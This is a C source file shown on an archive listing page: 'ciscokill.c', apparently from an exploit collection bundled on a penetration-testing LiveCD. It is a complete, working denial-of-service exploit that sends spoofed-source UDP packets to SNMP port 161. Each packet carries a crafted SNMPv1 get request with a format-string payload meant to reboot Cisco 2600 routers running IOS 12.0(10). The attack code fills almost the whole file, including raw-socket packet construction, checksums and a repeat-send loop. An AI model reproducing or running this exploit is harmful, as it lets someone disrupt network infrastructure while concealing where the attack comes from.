home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / network / cisco / ciscokill.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  5KB  |  187 lines

  1.  
  2. /* This program send a spoofed snmpv1 get request that cause system reboot
  3.    on Cisco 2600 routers with IOS version 12.0(10) 
  4.  
  5.    Author : kundera@tiscali.it   ... don't be lame use for testing only! ..:) */
  6.  
  7. #include         <stdio.h>
  8. #include         <string.h>
  9. #include         <unistd.h>
  10. #include         <stdlib.h>
  11. #include         <sys/socket.h>
  12. #include         <netinet/in.h>
  13. #include        <netinet/ip.h>
  14. #include        <netinet/udp.h>
  15. #include        <arpa/inet.h>
  16.  
  17.     
  18.  
  19. struct in_addr sourceip_addr;
  20. struct in_addr destip_addr;
  21. struct sockaddr_in dest;
  22.  
  23. struct ip          *IP;  
  24. struct udphdr      *UDP;   
  25. int p_number=1,sok,datasize,i=0; 
  26.  
  27. char *packet,*source,*target; 
  28. char *packetck;
  29. char *data,c;
  30.  
  31. char snmpkill[] =  
  32.   "\x30\x81\xaf\x02\x01\x00\x04\x06\x70\x75\x62\x6c\x69\x63\xa0\x81"  
  33.   "\xa1\x02\x02\x09\x28\x02\x01\x00\x02\x01\x00\x30\x81\x94\x30\x81"  
  34.   "\x91\x06\x81\x8c\x4d\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73"  
  35.   "\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73"  
  36.   "\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73"  
  37.   "\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73"  
  38.   "\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73"  
  39.   "\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73"  
  40.   "\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73"  
  41.   "\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73\x25\x73"  
  42.   "\x25\x73\x25\x73\x25\x73\x81\xff\xff\xff\xff\xff\xff\xff\xff\x7f"  
  43.   "\x05";
  44.  
  45.  
  46. struct pseudoudp {
  47. u_long ipsource;
  48. u_long ipdest;
  49. char zero;
  50. char proto;
  51. u_short length;
  52. } *psudp;
  53.  
  54.  
  55. in_cksum (unsigned short *ptr, int nbytes)
  56. {
  57.  
  58.   register long sum;        /* assumes long == 32 bits */
  59.   u_short oddbyte;
  60.   register u_short answer;    /* assumes u_short == 16 bits */
  61.  
  62.   /*
  63.    * Our algorithm is simple, using a 32-bit accumulator (sum),
  64.    * we add sequential 16-bit words to it, and at the end, fold back
  65.    * all the carry bits from the top 16 bits into the lower 16 bits.
  66.    */
  67.  
  68.   sum = 0;
  69.   while (nbytes > 1)
  70.     {
  71.       sum += *ptr++;
  72.       nbytes -= 2;
  73.     }
  74.  
  75.   /* mop up an odd byte, if necessary */
  76.   if (nbytes == 1)
  77.     {
  78.       oddbyte = 0;        /* make sure top half is zero */
  79.       *((u_char *) & oddbyte) = *(u_char *) ptr;    /* one byte only */
  80.       sum += oddbyte;
  81.     }
  82.  
  83.   /*
  84.    * Add back carry outs from top 16 bits to low 16 bits.
  85.    */
  86.  
  87.   sum = (sum >> 16) + (sum & 0xffff);    /* add high-16 to low-16 */
  88.   sum += (sum >> 16);        /* add carry */
  89.   answer = ~sum;        /* ones-complement, then truncate to 16 bits */
  90.   return (answer);
  91. }
  92.  
  93.  
  94. void usage (void)
  95. {
  96. printf("Kundera CiscoKill v1.0\n");
  97. printf("Usage: ciscokill [-n number of packets] [-s source ip_addr] -t ip_target \n");
  98. }
  99.  
  100.  
  101.  
  102. int main(int argc,char **argv){
  103.  
  104. if (argc < 2){
  105. usage();
  106. exit(1);
  107. }
  108.  
  109. while((c=getopt(argc,argv,"s:t:n:"))!=EOF){
  110.     switch(c) {
  111.      case 's': source=optarg; break;
  112.      case 'n': p_number=atoi(optarg); break;
  113.      case 't': target=optarg;
  114.      }
  115. }
  116.  
  117. if ( (sok=socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) < 0)
  118. {
  119.     printf("Can't create socket.\n");
  120.         exit(EXIT_FAILURE);
  121. }
  122.  
  123. destip_addr.s_addr=inet_addr(target);
  124. sourceip_addr.s_addr=inet_addr(source);
  125.  
  126. datasize=sizeof(snmpkill);
  127.  
  128. packet = ( char * )malloc( 20 + 8 + datasize );
  129.  
  130. IP     = (struct ip     *)packet; 
  131.  
  132. memset(packet,0,sizeof(packet)); 
  133.         
  134.         IP->ip_dst.s_addr  = destip_addr.s_addr;
  135.         IP->ip_src.s_addr  = sourceip_addr.s_addr;
  136.         IP->ip_v = 4;
  137.         IP->ip_hl = 5;
  138.         IP->ip_ttl = 245;
  139.         IP->ip_id = htons(666);
  140.         IP->ip_p = 17;
  141.         IP->ip_len  = htons(20 + 8 + datasize);
  142.         IP->ip_sum    = in_cksum((u_short *)packet,20);
  143.  
  144.  
  145. UDP   = (struct udphdr    *)(packet+20);
  146.       UDP->source = htons(666); 
  147.       UDP->dest   = htons(161);
  148.       UDP->len     = htons(8+datasize);
  149.       UDP->check = 0;
  150.       packetck = (char *)malloc(8 + datasize + sizeof(struct pseudoudp));
  151.       bzero(packetck,8 + datasize + sizeof(struct pseudoudp));     
  152.       psudp = (struct pseudoudp *) (packetck);
  153.       psudp->ipdest = destip_addr.s_addr;
  154.       psudp->ipsource = sourceip_addr.s_addr;
  155.       psudp->zero = 0;
  156.       psudp->proto = 17;
  157.       psudp->length = htons(8+datasize);
  158.       memcpy(packetck+sizeof(struct pseudoudp),UDP,8+datasize);
  159.       memcpy(packetck+sizeof(struct pseudoudp)+8,snmpkill,datasize);
  160.  
  161.       UDP->check = in_cksum((u_short *)packetck,8+datasize+sizeof(struct pseudoudp));    
  162.  
  163. data   = (unsigned char    *)(packet+20+8); 
  164. memcpy(data,snmpkill,datasize);  
  165.                                                                                                      
  166. dest.sin_family=AF_INET;
  167. dest.sin_addr.s_addr=destip_addr.s_addr;                                                                        
  168.  
  169. while (i<p_number)
  170. {
  171. if (( sendto(sok,packet,20+8+datasize,0,( struct sockaddr * ) &dest,sizeof(dest)))<0)
  172. {
  173. printf("Error sending packet.\n");
  174. exit(EXIT_FAILURE);
  175. }
  176.  
  177. i++;
  178.  
  179. }
  180. printf("%d packets sent.\n",i);
  181.  
  182. }
  183.  
  184.  
  185.  
  186.  
  187.